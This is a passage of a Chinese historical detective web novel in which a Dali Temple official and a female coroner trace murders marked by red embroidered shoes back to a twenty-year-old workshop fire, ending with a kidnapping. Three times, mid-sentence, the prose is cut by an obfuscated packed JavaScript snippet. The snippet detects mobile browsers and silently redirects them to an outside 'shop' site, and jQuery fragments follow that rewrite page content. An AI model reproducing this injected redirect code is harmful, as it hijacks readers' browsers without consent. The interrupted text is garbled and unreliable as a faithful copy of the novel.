谢知津在案前坐下,将所有线索在脑中重新梳理。 沈云容,江宁绣娘,天圣七年失踪,现场留下红绣鞋。 天圣九年,宫中沈才人死于大火,但身份存疑。 二十年后,汴京出现连环命案,手法与当年沈云容失踪案如出一辙。 他猛地站起身。 “周蔚!” 周蔚应声而入。 “立刻去查两件事。”谢知津语速极快,“第一,天圣九年宫中大火案的卷宗,尤其是那位沈才人的背景。第二,查礼部侍郎林清源,天圣七至九年间,他在哪里,做什么,与江宁可有交集。” “是。” 周蔚离去后,谢知津重新坐下,揉了揉眉心。 明荔倒了杯热茶递给他:“那林小姐现在如何了?” “尚未可知,不过既然未寻到尸体,便就还有一线生机。” 窗外,雨声渐渐停了。 檐下的滴水声,一声,一声,在寂静的夜里格外清晰。 明荔走到窗边,推开窗。 雨后清新的空气涌进来,带着泥土和草木的气息。 “随之,”她忽然说,“你有没有觉得,凶手在教我们破案?” 谢知津抬眼。 “你看,她留下红绣鞋,指向沈家绣坊;留下《女诫》残页,指向礼教压迫;留下桃花,指向大相国寺;留下金铃,指向皇宫。”明荔转过身,烛光在她眼中跳动,“她像在一点点揭开一个旧伤疤,要我们看到里面的脓。” “所以她恨的,不是一个两个人。”谢知津缓缓道,“她恨的,是逼死沈云容的那个局。” “那个局里,都有谁?” “目前知道的,有陈侍郎的妹妹三年前死在江宁,死因可疑;有礼部林侍郎时间上吻合;还有宫中那位沈才人。”谢知津放下茶盏,“而沈婆子,可能是知情人,也可能是参与者。赵月娥,是帮凶,但最后被灭口。柳氏,李氏,可能是当年那个局的受益者,或者,见证者。” “可凶手为什么不直接杀林侍郎?” “因为死太便宜了。”谢知津冷声道,“她要他亲眼看着女儿受罪,要他也尝尝失去至亲的痛。” 许久,她轻声问:“寺卿,如果你抓到凶手,会怎么判?” 谢知津没有立刻回答。 他走到窗边,与明荔并肩站着。 “律法就是律法。”他终于开口,“杀人者死,伤人者刑,这是铁律。” “可如果她杀的都是该死之人呢?” “该死不该死,不是她说了算,也不是我说了算。”谢知津转头看她,“我们查案,不是替天行道,是还原真相。至于审判,那是律法的事。” 明荔低头看着自己的手。 这双手,碰触过无数尸体,也救过几个被冤枉的人。她一直以为,真相就是正义。 可现在,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947613|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然不确定了。 如果真相背后,是更深的黑暗呢? 如果正义本身,就是错的呢? “随之,”她忽然说,“我想再验一遍沈婆子的尸体。” “现在?” “嗯。”明荔转身去拿箱子,“有些细节,白天可能忽略了。” 殓房里,沈婆子的尸身还停在停尸台上。 明荔掀开白布,重新检查。她先看了颈间的索沟,又看了手上的擦伤,最后,她的目光落在沈婆子的脚底。 脚底很干净,没有泥土。 “奇怪。”她低声道。 “怎么?”谢知津问。 她凑近细看,在脚趾缝里发现了一点极细微的白色粉末。 用银针挑出一点,在烛光下细看。 “是石灰。”她抬起头,“殓房用的石灰。” 谢知津面色一凛。 殓房的石灰,只有大理寺和开封府的殓房有。 而沈婆子的尸身,是直接从寿安坊运到大理寺的,中间没有停留。 除非…… “有人在我们运尸之前,碰过尸体。”谢知津沉声道。 “而且这个人,能接触到殓房的石灰。”明荔补充,“要么是衙门的人,要么是……” 她没有说下去。 但两人都明白。 要么是内鬼,要么是凶手胆大包天,敢潜入衙门作案。 谢知津忽然想起什么:“沈婆子衣襟里那绺头发,可还在?” “在证物房。”明荔道,“要取来看吗?” “现在就去。” / 证物房里,那绺用红绳系着的头发还封在油纸包里。 头发很长,很黑,发质柔顺。在发根处,她发现了一点白色的东西。 “是,头屑?”谢知津问。 “不像。”明荔用镊子夹起那点白色,放在白瓷盘里,滴上一点清水。 白色物慢慢化开,在盘底留下极淡的痕迹。 “是珍珠粉。”她判断。 “珍珠粉?” “嗯。富贵人家的女子,常用珍珠粉敷面养发。”明荔道,“但这珍珠粉质地极细,应该是上品。” 谢知津在证物房里踱步,烛光将他的影子投在墙上,拉得很长。 凶手为什么要剪下自己的头发,放在沈婆子衣襟里。 他又想起沈婆子堂屋里那首诗: “栀子香残秋露冷,绣鞋血染旧时痕。廿年旧债今方偿,犹向黄泉问故魂。” 廿年旧债。 问故魂。 她在问谁的魂? 沈云容的? 还是她自己的? 窗外传来鸡鸣声。 天快亮了。 谢知津走到窗边,推开窗。 东方已露出鱼肚白,晨光刺破夜幕,将云层染上淡淡的金色。 “随之。”明荔忽然开口,“我想去一趟江宁。” 谢知津回头:“为什么?” “所有的线索都指向江宁。”明荔道,“沈家绣坊,沈云容,赵月娥也是江宁人。我想去看看,二十年前到底发生了什么。” 谢知津沉吟片刻:“好。我让莫以新陪你去。但你要记住,此去凶险,一切小心。” “我知道。” 明荔收拾好箱子,正要离开,谢知津叫住她。 “明荔。” 她回头。 晨光从窗外照进来,落在谢知津棱角分明的脸上,他的眼中满是担忧的神色。 “等你回来我们便成婚吧。” 44. 第 44 章 “好。” 明荔应着,随后在莫以新的陪伴下回了府中,收拾东西准备往江宁去。 江宁的雨,与汴京州不同。 汴京的雨来得急,去得快,像泼辣的北地女子;江宁的雨却是绵绵的,黏黏的,从早到晚笼着天地,把青瓦白墙都洇成淡淡的水墨。 明荔站在沈家绣坊的废墟前时,已是抵达江宁的第三日。 绣坊坐落在秦淮河边,五年前那场大火,烧了整整一夜,如今只剩焦黑的断壁残垣,野草从碎瓦间钻出来,已有半人高。 河对岸的丝竹声隐约飘来,衬得这片废墟愈发死寂。 “明姑娘,就是这儿了。”带路的本地衙役姓吴,是个四十出头的老吏,说话带着浓重的江宁口音,“当年这场火,烧死了七个人。沈娘子,两个绣娘,四个学徒,一个都没跑出来。” 明荔提着箱子,小心地踏进废墟。 “确定都烧死了?”她问。 “烧得面目全非,只能凭身上的物件认尸。”吴衙役指着东边一处,“沈娘子是在那儿发现的,靠窗,手里还攥着一把绣剪。仵作验过,说是烟呛死的,没受什么苦。” 她蹲下身,仔细查看地面。 此处比周围略低一些,像是被重物反复压过。 “这里原来放着什么?”她问。 吴衙役想了想:“好像是绣架,沈娘子的绣架就靠窗放,说是光线好。” 明荔从箱中取出小铲,轻轻铲开表层的浮土。焦土下面,露出一小块青砖,砖上有着划痕,很浅,像用簪子匆忙划的,具体是什么,瞧不出来。 她拂去砖上的土,凑近细看。 “这是……”吴衙役也凑过来看,“以前没发现啊。” “因为被压在绣架下面。”明荔站起身,“绣架烧毁了,但砖还在。” 废墟很大,当年的沈家绣坊是江宁数一数二的绣庄,前店后坊,连着三进院子。大火从后院烧起,一路蔓延到前店,等救火队赶到时,已经救无可救。 “当年的卷宗,还能查到吗?”她问。 “能是能,但……”吴衙役面露难色,“明姑娘,不瞒您说,这案子当年就查得糊里糊涂。起火原因说是烛台倒了,引燃绣线,可沈家绣坊的规矩,夜里绝不留明火,每个绣娘下工前都要检查一遍。” “所以有人纵火?” “不敢说。”吴衙役压低声音,“但坊间有传言,说沈娘子得罪了贵人,这才招来灭门之祸。” “什么贵人?” “这就不知道了。”吴衙役摇头,“沈娘子为人低调,很少与外人来往。只知道她进宫当过绣娘,后来不知怎的又出来了。” 又是宫里。 “吴衙役,你可知沈娘子在宫里时,侍奉的是哪位主子?” “这得去问当年的老人。”吴衙役道,“不过宫里的事,谁敢乱打听?我只知道,沈娘子是太后召进宫的,说是喜欢她的绣工。在宫里待了三年,出来时听说瘦得脱了形。” “病了?” “不知道。”吴衙役叹了口气,“出来后就开了这绣坊,再没嫁人。坊里都是女子,她待她们像亲姐妹,谁能想到,最后落得这么个下场。” 明荔沉默着,在废墟中慢慢走。 雨丝落在她肩上,很快洇开一小片深色。 第二进院子格外杂乱,焦木下压着一口井? “这口井。”她转头看吴衙役。 “哦,这是绣坊的水井。”吴衙役道,“当年救火时用过,后来就封了,说是不吉利。” “为什么不吉利?” “大火那晚,有人听见井里有哭声。”吴衙役的声音更低了,“是个女子的哭声,凄凄惨惨的。但救火的人都忙着救火,谁也没顾上,等第二天来查看,井里什么都没有。” 明荔走到井边,让莫以新推开石板。 井很深,黑黢黢的,看不见底。一股阴冷潮湿的气息涌上来,混着陈年的霉味。 “吴衙役,麻烦找根绳子来。”她说。 “明姑娘,您这是要……” “下井看看。” / 绳子很快找来,是粗麻绳,很结实。莫以新将绳子一端系在井边的石桩上,另一端系在自己腰间。 井壁湿滑,长满了青苔。越往下,光线越暗,火折子的光只能照亮一小圈。井水的气味越来越浓,带着铁锈般的腥气。 下了约莫三丈,他的脚触到了水面。 井水冰凉刺骨,他稳住身形,举起火折子照向四周。 井壁没什么异常,只是在水面附近,她发现了一些刻痕。 他继续查探,在刻字的下方,井壁上有一块松动的砖。用力一推,砖块向内滑开,露出一个小洞。 洞里放着一个油布包。 她小心取出布包,塞进怀里,然后拉动绳子。 “拉我上去!” / 回到地面时,雨已经停了。夕阳从云缝里漏出几缕光,将废墟染成一片金黄。 莫以新靠在井边,急促地喘息。吴衙役递给她水囊,她喝了几口,才缓过来。 “找到了什么?”明荔问。 展开油布包,里面是两样东西:一本巴掌大的册子,用油纸裹着;还有一块玉佩,羊脂白玉,雕成桃花的形状。 她先翻开册子。 是账本。 第一页写着: “天圣七年,九月初九,收周氏纹银五十两,绣百子图一幅,贺李府长孙满月。” 第二页: “天圣七年,腊月廿三,收林氏金叶子十片,绣双喜被面一套。贺女出阁。” 第三页: “天圣八年,三月初七,收陈氏东海明珠一斛,绣凤穿牡丹屏风,贺老太太大寿。” …… 一页页翻下去,都是达官贵人的委托。而备注里,总写着贺什么礼,送什么人。 明荔翻到最后一页,手停住了。 这一页的字迹不同,很潦草,墨迹深浅不一,像是仓促间写下的: “天圣九年,九月十五,收宫中所赐金铃一对,绣未成。” 继续翻看册子,在最后一页的背面,发现了一幅小图。 是用朱砂画的,三个圆圈套在一起,像三只眼睛。 和赵月娥住处发现的那封信上的标记,一模一样。 “三圈套月……”明荔喃喃。 “什么?”吴衙役没听清。 明荔没回答。她收起册子,拿起那块玉佩。 玉佩温润,可称为上品。桃花瓣雕得极精致,每一片花瓣的纹路都清晰可见。花蕊处,刻着一个字: “娴” 这是谁的玉佩? 明荔将玉佩和册子重新包好,塞进怀里。 “吴衙役,我想去一个地方。” “哪儿?” “江宁府的案牍库。”她站起身,“我要查天圣七年到九年的所有卷宗。” / 与此同时,京州。 谢知津站在城东永昌染坊的废墟前,手中握着一卷泛黄的案卷。 染坊废弃多年,坊内的大染缸早已干涸,缸壁上结着厚厚的污垢。院子里长满了荒草,有半人高。 夕阳将他的影子拉得很长,斜斜投在斑驳的砖墙上。 他是独自来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951692|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 凶手的字条上写得很清楚: “戌时三刻,永昌染坊,携天圣九年宫中走水案卷宗前来。独往。若见第二人,林氏女必死。” 字条是今早出现在大理寺公廨的,夹在一本《洗冤集录》里。没有人看到是谁放的,就像没有人知道,凶手是如何潜入戒备森严的大理寺的。 谢知津看了眼天色。 戌时三刻快到了。 他推开染坊虚掩的大门,走了进去。 院子里很安静,只有风吹过荒草的沙沙声。正堂的门敞着,里面黑洞洞的,什么也看不清。 堂内空旷,只有正中摆着一张椅子。 椅子上坐着一个人。 林清源的女儿,林婉。 她穿着那日失踪时的衣裙,水绿色的褙子,但已经皱得不成样子。头发散乱,脸色苍白,眼睛被黑布蒙着,嘴也被布条塞着。听见脚步声,她惊恐地挣扎起来,发出呜呜的声音。 谢知津快步走过去,正要给她解绑,一个声音从暗处传来: “别动,她中了毒,就算你带走她,没有解药也是无济于事。” 声音很轻,很柔,是个女子的声音。但应当是改变了声线,听起来有些失真,辨不出年纪。 谢知津停住脚步,缓缓转身。 声音是从左侧的厢房传出的,门关着,窗纸破了几处,但看不见里面的人。 “卷宗带来了吗?”那声音问。 “带来了。”谢知津举起手中的案卷。 他解开林婉眼上的黑布,林婉看见他,眼中瞬间涌出泪水,拼命摇头。 谢知津对她做了个别怕的口型,转向厢房:“卷宗给你,人我带走。” “先把卷宗从门缝塞进来。”那声音说,“我要验看。” 谢知津走到厢房门前,蹲下身,将案卷从门缝塞了进去。 里面传来翻动纸页的声音。 片刻,那声音再次响起,带着一丝冷笑: “谢寺卿,你当我三岁孩童?这卷宗是假的。” 谢知津心中一凛,但面色不变:“何以见得?” “天圣九年十月初三,宫中走水,烧毁寿康宫西偏殿。掌事太监王德海的笔录里写着‘是夜风大,烛台倾覆,引燃帷幔’。” “但真正的卷宗里,王德海的笔录是‘是夜无风,烛台自倾’,你这份,是后来篡改的。” 谢知津沉默。 他确实给了份修改过的卷宗,真正的原件,他留在了大理寺。 “你要真的,可以。”他说,“但我要先确保林小姐安全。” “你没有讨价还价的余地。”那声音冷了下去,“现在,我要你去做一件事。” “什么事?” “去城西乱葬岗,沈婆子女儿那座空坟旁,挖开三尺,那里埋着你要的真相。”那声音顿了顿,“记住,还是独往。若带人,或者不去林小姐会死得很惨。” 谢知津看了眼林婉。 她拼命摇头,眼中满是哀求。 “我怎么知道,我去了,你会不会放了她?”他问。 “你只能信我。”那声音笑了,很轻,却让人心底发寒,“就像当年,沈云容也只能信那些人一样。” 沈云容。 她果然提到了这个名字。 谢知津深吸一口气:“好,我去。但若我回来时,林小姐少了一根头发……” “放心。”那声音打断他,“她的命,现在很值钱。” 谢知津最后看了林婉一眼,转身走出正堂。 夕阳已经沉下去了,天边只剩一抹暗红。 他翻身上马,朝着城西疾驰而去。 45. 第 45 章 一早京州的街巷早早飘起了糖瓜的甜香,林怀州清查了柳雪娘子案的卷宗后便买了些早食往大理寺来。 正堂内,谢知津面前的案几上摊着三样东西:明荔从江宁带回的玉佩与账册,乱葬岗铁匣中的信件,以及今晨刚从大相国寺观音殿取回的第五双红绣鞋。 “我问过柳雪的夫君了,她说他们成亲之时,柳雪的嫁衣便是江宁来的绣娘亲手绣成的。” 谢知津点点头,“这几日劳烦你了,春鸢姑娘如何了?” 提到春鸢,林怀州收起了笑,“不大好,我已递上辞呈,过几日便要辞官带鸢儿遍访名医了。” 他知众人有事要忙,春鸢处又离不开人,作礼后匆匆离开了。 随后,谢知津的目光又重新落回到纸张上,“后日,宣德门。最后一人。” 没有落款,只有那个熟悉的标记,三圈套月,用朱砂勾勒,艳得像血。 周蔚喉结滚动:“寺卿,宣德门是御街正门,且后日灯节那夜圣驾要登楼与民同乐。若真在那里行事,便是滔天大祸。” “所以必须在这之前破局。”谢知津抬眼,看向风尘仆仆的明荔,“江宁之行,除了信中所写,可还有别的发现?” 明荔将一杯热茶握在掌心,这几日天气渐渐冷了,她暖着微微发冷的手心,如实道,“我在沈家绣坊附近的旧宅打听,有老人记得,天圣九年大火前,曾有个五六岁的小女孩常在绣坊出入,沈娘子唤她念儿。大火后,那孩子就不见了。” “念儿……”谢知津想起小红绣鞋上念云二字,“沈云容的女儿。年龄对得上。” “还有一事。”明荔从怀中取出一张拓片,是她在江宁府旧档中找到的,“天圣七年,也就是沈云容失踪那年,宫中曾有一批江宁籍的宫女被放还。名单上有沈云容,但备注写着‘病重,留宫医治’。可同年江宁府的户籍记录却显示,沈云容已‘殁’。” “两份记录,一活一死。”谢知津接过拓片,“有人在掩盖她出宫的真相。” “掩盖的人,很可能是周氏。”明荔指向玉佩,“‘娴’字玉佩,加上账册中周氏多次委托绣制违禁之物,她脱不了干系。而周氏如今虽已故,她的女儿周太妃却在宫中我回来前收到江宁友人传书,说周太妃十日前突发‘心疾’,太医束手,现已卧床不起。” 谢知津眸光一凛:“突发心疾?什么时候的事?” “我算过时间,正是第三起案子,陈府柳氏遇害的次日。”明荔脱口而出。 “不是巧合。”谢知津站起身,走到悬挂的汴京舆图前,“凶手在按顺序清算。李氏、赵月娥、柳氏,分别对应当年李、林、陈三家的女儿。现在轮到周家,但周太妃在深宫,难以直接下手。” 他的手指点在舆图上宣德门的位置:“要在御前公开处决的,必定是身份极特殊,且与当年之事有直接关联的人。” 堂外忽然传来急促的脚步声。一名衙役疾步入内,呈上一份卷宗:“寺卿!刑部调来的周氏族谱,还有端淑妃侄女周玉茹的婚配记录。” 周玉茹,端淑妃胞兄之女,天圣十年嫁与当时的刑部员外郎孙敬亭。孙敬亭如今已是刑部侍郎,两人育有一女,名孙清荷,年方十七,待字闺中。 “孙清荷……”谢知津抬头,“周蔚,孙府近日可有异状?” 周蔚脸色一变:“昨日孙府确实报过案,说府中一位嬷嬷夜里看见白影飘过后院,但搜查后一无所获,便只当是眼花。下官当时未与本案关联……” “现在关联了。”谢知津合上卷宗,“周玉茹是周氏血脉,她的女儿孙清荷,很可能就是凶手名单上的最后一人。” 明荔忽然道:“寺卿,凶手若要当众处决,必得先将人掳走。孙府虽有异象,但毕竟戒备森严,她如何能在三日之内得手?” “上元灯节。”谢知津看向窗外渐暗的天色,“那夜满城欢庆,百姓涌上御街,仕女结伴观灯,是最易下手也最易混乱的时刻。” 他转身,语速快而清晰:“周蔚,立刻做三件事:第一,加派暗哨保护孙府,尤其孙清荷,但切忌打草惊蛇;第二,清查最近一月汴京所有租赁的房屋,仓库,尤其是靠近御街、宣德门一带的可疑地点;第三,莫以新你随郡主密查周太妃心疾之事,所有经手太医、宫人,都要暗中问询。” “是!” 周蔚领命而去。 堂内只剩二人,烛火噼啪一声,爆了个灯花。 谢知津走回案前,拿起那双新取回的红绣鞋,“你看这双鞋,和之前有何不同?” 明荔接过细看,依旧是反针绣、千层底,但鞋面的绣样变了,不再是并蒂莲,而是一枝倒悬的桃花。花枝从上垂下,花朵朝下,像被倒挂着。 “倒悬……”她喃喃。 “倒悬示众,是极刑的一种。”谢知津声音低沉,“我觉着她在预示最后的处决方式。” 寒意顺着脊背爬上来。明荔放下鞋:“我们至今不知她容貌、年纪、身份。她像影子一样藏在汴京,却能一次次精准下手,除非……” “除非她有个合理的身份,能自由出入许多地方,且不引人怀疑。”谢知津接道,“比如,官宦人家的女眷、经常走动的仆役、乃至市井中的商贩。” 他顿了顿:“又或者,她扮成了我们绝对想不到的人。” 窗外暮鼓响起,沉沉地传遍街巷。祭灶的鞭炮声零落响起,年的味道越来越浓,却驱不散堂内凝重的空气。 明荔忽然想起一事:“寺卿,我在江宁时,曾问过当年沈家绣坊的老邻。有人说,沈云容的反针绣有个独特之处。因为针脚完全藏在背面,正面看不出走线方向,所以绣出的图案,左右对称处会有极细微的差异,像镜中倒影。这是她独有的习惯,别人模仿不来。” 谢知津立即取出前四双鞋的图样,与第五双对比。在花瓣的卷曲处,果然发现了细微的不对称,左瓣内卷的弧度,比右瓣稍紧一分。五双鞋,全部一致。 “这是沈云容的绣法。”他断定,“要么她还活着,要么她的女儿得了真传,且刻意保留了这处。” “若是女儿,年纪应与孙清荷相仿。”明荔若有所思,“她扮作同龄的闺秀,接近目标,并非难事。” “接近……”谢知津猛然抬头,“周蔚方才说,孙府报案的是一位嬷嬷看见白影。若那不是鬼影,而是有人扮作丫鬟、姐妹,甚至……” 两人目光相触,同时想到一个可能: 孙清荷身边,早已潜伏着凶手。 / 腊月廿四,扫尘。 孙府后宅的绣楼里,孙清荷正对镜试戴一支新打的珠钗。 丫鬟小莲在一旁捧着妆奁,絮絮说着灯节要穿的衣裳。 “小姐,夫人说那件孔雀罗的披风配这钗子正好,上元夜穿出去,定能让顾家郎君多看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962643|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几眼。” 孙清荷脸颊微红,啐道:“胡说什么。”指尖却轻轻抚过珠钗流苏,眼底漾开笑意。 她今年十七,已与礼部顾尚书家的三子订了亲,只等今春过礼。上元灯节,是她出嫁前最后一次自在游赏,母亲特意请了锦云绣庄的绣娘来府,为她改制衣裳。 绣娘姓宋,二十出头的样子,话不多,手却极巧,此刻正在外间整理丝线。 小莲凑到孙清荷耳边,压低声音:“小姐,这宋绣娘手艺是好,可奴婢总觉得她怪怪的。昨儿夜里,我起夜时看见她站在院中那棵老梅树下,一动不动,吓人得很。” 孙清荷不以为意:“许是在看月色。听说绣娘眼睛要养,夜里看些明净的东西,白日穿针才准。” 话音未落,门外传来轻柔的叩击声。 “小姐,袖子改好了,可要试试?”是宋绣娘的声音,温婉平和。 “进来吧。” 门推开,宋绣娘捧着衣裳进来。她低着头,步伐轻缓,将衣裳展开。孔雀罗的料子在光下流转着暗绿深蓝的光泽,袖口新镶了一圈银线掐牙,精致又不失雅致。 孙清荷起身试衣。宋绣娘半跪着为她整理裙摆,手指偶尔触到脚踝,冰凉。 “宋娘子手这么冷,该多穿些。”孙清荷随口道。 “谢小姐关怀。”宋绣娘抬头,露出一张清秀但苍白的脸。她的眼睛很静,像口深井,望进去看不清底,“奴婢自小畏寒,惯了。” 孙清荷对着镜转身,未曾看见,身后宋绣娘的目光落在她脚上,那双未缠足的天足,穿着软缎绣鞋,轻盈地踏在地毯上。 那目光里,有一闪而过的冰冷恨意,随即又湮灭在恭顺低垂的眼睫下。 / 同一时刻,大理寺。 “孙府内外已布下十六处暗哨,孙清荷近三日皆未出门。府中仆役丫鬟共四十三人,皆查过底细,无非家生便是清白牙人买来。唯一可疑的是五日前新请的绣娘宋氏,自称从江宁来,手艺出众。但保人是西城有名的牙婆,身契齐全。” “江宁来的绣娘……”谢知津看向明荔。 明荔立即问:“可查过她住处?” “住在孙府后巷的赁屋,独居。昨夜暗哨盯着,屋内灯亥时熄,再无动静。”周蔚答。 “太干净了。”谢知津叩着桌案,“手艺好,身契全,独居无交际,正是最容易伪装的身份。去查那个保人牙婆,细细地问,宋氏是她从哪儿找来的,举荐时收了多少钱,一句都别漏。” “是。” 周蔚匆匆离去。 明荔起身走到窗边,望着庭院中扫尘的杂役扬起细细的灰絮,忽然道:“寺卿,若我是凶手,既已潜入孙府,为何还要提前三日预告?这岂非增加自己暴露的风险?” 谢知津沉默片刻:“我猜她需要这三日时间,完成某件必须的事。” “什么事?” “不知道。”谢知津走到她身侧,“但一定与倒悬有关。” 一名书吏小跑着进来,呈上一封密函:“郡主,宫中递出的消息。” 谢知津拆开,迅速浏览,面色渐沉。 “周太妃并非心疾。”他压低声音,“太医院院使暗中查验,发现她每日服用的安神汤中,被加入了微量朱砂,长期服用会致幻、惊悸,状如心疾。下药之人手法隐秘,每次剂量极微,若非院使心细,根本察觉不出。” 46. 第 46 章 腊月廿五,迎玉皇。 京州城内悬挂灯彩,御街两旁的楼阁已扎起灯架,各式各样的灯笼堆在街边,只待上元那夜点亮。 周蔚查了一日牙婆,回报并无破绽:“牙婆张氏说,宋绣娘是一个月前自己找上门的,说是江宁遭灾来投亲,亲没找到,盘缠用尽,想凭手艺挣口饭吃。张氏试了她的绣工,惊为天人,便留她在绣庄做活。孙府要绣娘,张氏第一个荐了她。” “江宁遭灾?”明荔追问,“具体是哪里?” “说是江宁府南边的水灾,但属下查了,今年江宁并无大灾。” “她在撒谎。”谢知津起身,“走,去孙府后巷。” 宋绣娘的赁屋在小巷最深处,独门独户,窄小但整洁。谢知津与明荔推门而入时,屋内陈设简单:一床一桌一椅,墙角堆着几个绣筐,墙上挂着一幅未完成的绣绷。 绣绷上,是一枝倒悬的桃花花。 与第五双红绣鞋上的图案,一模一样。 明荔走近细看。绣法正是反针绣,花瓣卷曲处的细微不对称清晰可见。她戴手套轻轻触摸绣面,在花瓣背面,指尖触到一点凹凸。 她小心地拆开几针,在绣线之下,藏着一片极薄的绢。 取出展开,绢上以蝇头小楷密密写着: “天圣九年十月初七,周氏命人纵火,焚绣坊七口。母推我入井,以身蔽门。我在井下三日夜,听火声、人声、母之泣声。后周氏派人掘井,我已顺水路逃。今归来,索债于孙氏女,乃周氏血脉之续。上元子时,悬其于宣德门,昭告天下:血债血偿。” 绢的右下角,赫然是那个三圈套月标记。 谢知津盯着那行周氏命人纵火,若此言属实,当年纵火灭口的直接主使,竟是端淑妃周氏。 而宋绣娘,或者说,沈念云要杀的孙清荷,并非因其本人有罪,只因她是周氏血脉。 明荔声音发紧,“她恨的,是整个周家。” 门外忽然传来急促的脚步声。一名暗哨踉跄冲入,肩头带血:“寺卿,孙府出事了!宋绣娘劫走了孙小姐!” “什么时候?!” “半刻前!孙小姐在绣楼试衣,宋绣娘突然击晕丫鬟,用迷香放倒两名婆子,带着孙小姐从后窗跃出!我们的人追上去,被她用淬毒的针伤了三个!” 谢知津抓起佩刀:“她往哪个方向去了?” “城北!”暗哨喘息,“但,但她沿途洒了香粉,我们追到旧酸枣门附近,线索就断了。” 旧酸枣门一带,是京州最杂乱之地,废仓旧窑无数,水道纵横。 “看来,她早有准备。”谢知津疾步出门,“周蔚,调所有人手,封锁城北所有出口,一寸一寸地搜!咱们去孙府。” 当时孙府已乱作一团。孙夫人哭晕过去两次,孙侍郎脸色铁青,在正堂来回踱步。见谢知津来,他劈头便问:“谢寺卿,你既早知小女有险,为何还让她被掳走?!” “是本官失察。”谢知津并不辩解,“现在最要紧是找回令媛。她可有什么常佩戴的,气味特殊之物?” 小莲哭着捧来一个香囊:“这是小姐平日戴的,里面是夫人特意调的雪中春信。” 明荔接过香囊,解开封口轻嗅。清冷梅香中混着一味特殊的辛香,是龙脑与苏合香调和而成,气味独特。她取出一只小瓷瓶,瓶中养着只通体碧绿的虫子,是南疆的寻香蛊,对特殊气味极其敏感。 蛊虫在瓶内躁动不安,头转向北方。 “香气还能追踪。”明荔道,“不过咱们得快点,若雪再大些,气味会散得很快。” “走。” 两人翻身上马,沿着城北追去。寻香蛊指引的方向越来越偏,渐渐远离街市,进入一片废弃的漕运仓库区。 天色已暗,雪开始下了。 细密的雪粒在风里打着旋,落在废弃的仓房瓦顶,积起薄薄一层白。 蛊虫停在一座最大的仓房前,振翅欲飞。 仓房大门虚掩,里面黑黢黢的,静得可怕。 谢知津抬手止住身后差役,独自上前,缓缓推开门。 仓房内空旷高阔,梁柱粗大。正中央的横梁上,垂下一根麻绳,绳端打了个复杂的绞索。 绳索下方,整整齐齐摆着一双红绣鞋。 鞋尖朝内,似在等人穿上。 而在鞋边的地面上,用白灰画了一个圈,圈内写着: “子时,宣德门。若早来,我会杀了孙清荷。” 仓房最深处的阴影里,有一扇小门,半开着,门外是汴河支流幽暗的水面。 风从河上吹进来,带着水腥气和一丝极淡的香气,再走近些,只瞧一香囊落在凭栏旁。 她从这里,带着人质,走水路离开了。 门边的木柱上,钉着一片薄绢,上面是两行新墨: “谢寺卿,游戏至此,君仍慢我一步。上元夜,宣德门,请君观刑。若欲救人,不妨猜猜,我倒悬此女时,会为她穿哪双鞋?” 绢的背面,用炭笔画了幅简图:一个女子倒悬城楼,长发垂地,脚上穿着一双红绣鞋,但鞋的样式,与之前任何一双都不同。 那是一双,鞋尖缀着金铃的绣鞋。 谢知津捏紧了薄绢。 金铃。 赵月娥处发现的金铃,宫中之物。 雪越下越大,仓房外,京州的灯火次第亮起。腊月廿五的夜,距离上元子时,只剩两天。 而他们连凶手和人质的确切位置,都还没有找到。 明荔走到他身边,低声问:“寺卿,现在怎么办?” 谢知津望着门外飘雪的黑夜,缓缓道: “她给我们画了局,我们就入局。” “我们要等的,就是她必须露面的那一刻。” 雪落无声,覆盖了仓房外的足迹,也覆盖了汴京这座巨大棋盘上,刚刚落下的这枚险子。 棋至中盘,杀机已现,只待时机。 腊月廿六,雪未停。 大理寺殓房内,五双红绣鞋一字排开,在青石板地上投下诡异的红影。 她已经在这三寸绣鞋上耗了半日。鞋面,夹层,鞋底,甚至每一针的走线都查过,没有任何有用的线索。 窗外传来急促的脚步声,周蔚推门而入,肩头落雪未融:“郡主,查清了!宋绣娘赁屋里的绣筐丝线,其中一种霁青色的染丝,是宫中尚服局特供,外头根本买不到。” 明荔直起身:“尚服局?” “是。这种染法要用南海来的青黛,三年才能出一批,专供宫中绣制礼服。”周蔚将一小束丝线放在桌上,“孙府丫鬟也说,宋绣娘改制衣裳时,用的就是这种丝,说是自家珍藏。” 宫中特供的丝线,出现在一个流落民间的绣娘手中。 明荔拿起丝线,对光细看。丝线在烛光下泛着幽微的蓝紫光泽,确实是上品。她忽然想起什么,快步走到案前,打开验尸箱,取出一个油纸包,里面是赵月娥那枚金铃。 金铃在掌心微晃,发出空灵的脆响。 “你看这金铃的成色,可熟悉?” 